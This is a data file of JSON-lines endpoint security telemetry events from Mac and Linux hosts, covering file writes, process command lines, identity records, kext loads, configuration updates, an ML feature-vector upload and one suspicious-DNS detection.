-{"event_simpleName":"GzipFileWritten","ContextTimeStamp":"1625677504.542","ConfigStateHash":"3090255842","ContextProcessId":"362897421906895953","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000501f510700000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GzipFileWrittenMacV1","id":"ffffffff-1111-11eb-9320-06d410e6f705","EffectiveTransmissionClass":"2","aid":"fffffffffc2c4e4fa9c08e1a8388e5f9","timestamp":"1625677504614","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz"}
-{"event_simpleName":"IOServiceRegister","ContextTimeStamp":"1625622770.595","ConfigStateHash":"3967242894","aip":"67.43.156.13","IOServiceClass":"IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject","ConfigBuild":"1007.4.0013701.1","IOServicePath":"IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000","event_platform":"Mac","IOServiceProperties":"","Entitlements":"15","name":"IOServiceRegisterMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","IOServiceName":"Touch Bar Backlight","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"PtyCreated","ContextTimeStamp":"1625622602.031","ConfigStateHash":"3967242894","ContextProcessId":"364938416497226937","DeviceId":"251658248","ContextThreadId":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PtyCreatedMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677478739","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"1803419442","aip":"67.43.156.14","InterfaceIndex":"18","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressRemovedIP4MacV1","id":"ffffffff-1111-11eb-b7b7-066cc89bcebf","EffectiveTransmissionClass":"2","aid":"ffffffff5ae3449ab33a1809fe6c5ce2","timestamp":"1625677475967","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NetworkCloseIP6","ContextTimeStamp":"1625677474.875","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"12241681491990","RemotePort":"9","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59999","Entitlements":"15","name":"NetworkCloseIP6LinV6","id":"ffffffff-1111-11eb-8130-02cde7751097","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff335f47ca89cad6a19f203bbd","ConnectionDirection":"2","InContext":"0","timestamp":"1625677475413","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ConfigBuild":"1007.8.0011611.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1156120155","ConfigStateData":"0,0,1007.8.0011611.1|1,c,0|1,22,6|1,59,2d|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV2","aip":"67.43.156.14","id":"ffffffff-1111-11eb-af89-06c111484f9f","aid":"ffffffffa74a4c89b9984a3a7124bb9d","timestamp":"1625677490580","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1625677493.531","ConfigStateHash":"3090255842","ContextProcessId":"364839648316192383","DomainName":"hg-t2.dotice.me","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"SuspiciousDnsRequestMacV1","id":"ffffffff-1111-11eb-a4a3-02cbdfb8f529","EffectiveTransmissionClass":"2","aid":"ffffffff0cd64fb78626ab1b6c65ac8c","timestamp":"1625677493756","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"1"}
-{"Parameter2":"0","event_simpleName":"ErrorEvent","Parameter1":"18446744072635810412","Parameter3":"0","ConfigStateHash":"1156120155","aip":"67.43.156.14","Line":"96","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ErrorStatus":"3759276032","name":"ErrorEventLinV1","id":"ffffffff-1111-11eb-bdd3-0681aa29cecb","Facility":"16778240","aid":"ffffffffabd047b1a86c1fcd8ef22b59","File":"0","timestamp":"1625677530922","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ConfigStateUpdate","ConfigStateHash":"3090255842","ConfigStateData":"0,0,1007.4.0013701.1|1,2,1|1,4,a|1,6,0|1,8,46|1,a,1|1,c,0|1,17,1f|1,18,18|1,19,0|1,1e,407|1,21,3d2|1,27,1|1,53,18b|1,56,0|1,d0,16d|1,d1,0|1,d2,0|1,df,4c|1,e0,6|1,f6,1|1,1f5,1|1,1f7,1|1,1fd,1|1,200,0|2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0|3,0,65|","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ConfigStateUpdateMacV2","id":"ffffffff-1111-11eb-8dc4-0234c12f9875","EffectiveTransmissionClass":"0","aid":"ffffffffa15a452190ae454f7d33e07e","timestamp":"1625677530590","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"KextLoad","ContextTimeStamp":"1625677509.064","ConfigStateHash":"1620585913","ContextProcessId":"364867547408058681","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","BundleID":"com.apple.driver.AudioAUUC","Entitlements":"15","name":"KextLoadMacV1","id":"ffffffff-1111-11eb-a2ae-028f6bf89be7","EffectiveTransmissionClass":"2","aid":"ffffffffaa0e47a1b009aef151d6179d","timestamp":"1625677509069","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ChannelVersion":"25","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"3155796140","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"20","ConfigBuild":"1007.8.0011110.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV1","id":"ffffffff-1111-11eb-b411-06baeacb7a63","aid":"ffffffff67d54f7daf3d998ffc74d48e","timestamp":"1625677507901","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"2037712541","Timeout":"60","ParentProcessId":"0","aip":"67.43.156.14","SuppressType":"3","SHA256HashData":"64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20","ProcessCount":"60","BoundedCount":"57","ConfigBuild":"1007.8.0011308.1","UID":"115","event_platform":"Lin","CommandLine":"sh -c \"/usr/lib/erlang/erts-11.1.3/bin/epmd\" -daemon","Entitlements":"15","name":"ProcessRollup2StatsLinV3","id":"ffffffff-1111-11eb-b34e-063f4cefccb3","EffectiveTransmissionClass":"2","aid":"ffffffffe22549479fbe8293b6747a68","timestamp":"1625677511754","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"UserIdentity","LoginSessionId":"1138166333440","AuthenticationUuidAsString":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","UserName":"user1","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"265","UserPrincipal":"user1@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1530","ConfigBuild":"1007.4.0013701.1","UID":"265","event_platform":"Mac","Entitlements":"15","name":"UserIdentityMacV4","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","timestamp":"1625677478122","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"FeatureVector":"000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501","event_simpleName":"DeliverLocalFXToCloud","ConfigStateHash":"1620585913","aip":"67.43.156.14","ModelPrediction":"1436899696705536","SHA256HashData":"c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2","Malicious":"0","ConfigBuild":"1007.4.0013701.1","FeatureExtractionVersion":"2","event_platform":"Mac","FXFileSize":"502032","Entitlements":"15","name":"DeliverLocalFXToCloudMacV4","PupAdwareDecisionValue":"12384657383358464","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","PupAdwareConfidence":"0","EffectiveTransmissionClass":"1","aid":"ffffffff45d647e6ae0ba8764a4bd570","MLModelVersion":"4","timestamp":"1625677489052","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"CreateProcessArgs","ContextTimeStamp":"1625677524.929","ConfigStateHash":"3090255842","ContextProcessId":"365035560818271291","ContextThreadId":"365035560818271291","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","CommandLine":"t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules","Entitlements":"15","name":"CreateProcessArgsMac","id":"ffffffff-1111-11eb-8332-020506b18db5","EffectiveTransmissionClass":"2","aid":"ffffffffb3a3442585c05abc61e290fc","timestamp":"1625677525128","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend"}
-{"event_simpleName":"PdfFileWritten","ContextTimeStamp":"1625677488.523","ConfigStateHash":"3090255842","ContextProcessId":"364156540965623394","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"05000001000000000000000000000000f1321d0000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PdfFileWrittenMacV1","id":"ffffffff-1111-11eb-8903-022a1941b91f","EffectiveTransmissionClass":"2","aid":"ffffffffc4044541995bffd84b9df003","timestamp":"1625677488576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95"}
-{"event_simpleName":"GroupIdentity","GID":"242","AuthenticationUuidAsString":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"1119489580471877843","UserPrincipal":"user2@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1485","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GroupIdentityMacV2","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","timestamp":"1625677478379","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"MachOFileWritten","ContextTimeStamp":"1625622611.845","ConfigStateHash":"3967242894","MachOSubType":"3","ContextProcessId":"364938429384226082","Size":"0","ContextThreadId":"0","aip":"67.43.156.13","SHA256HashData":"c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198","FileIdentifier":"04000001000000000000000000000000ac41270400000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"MachOFileWrittenMacV3","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677479336","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl"}
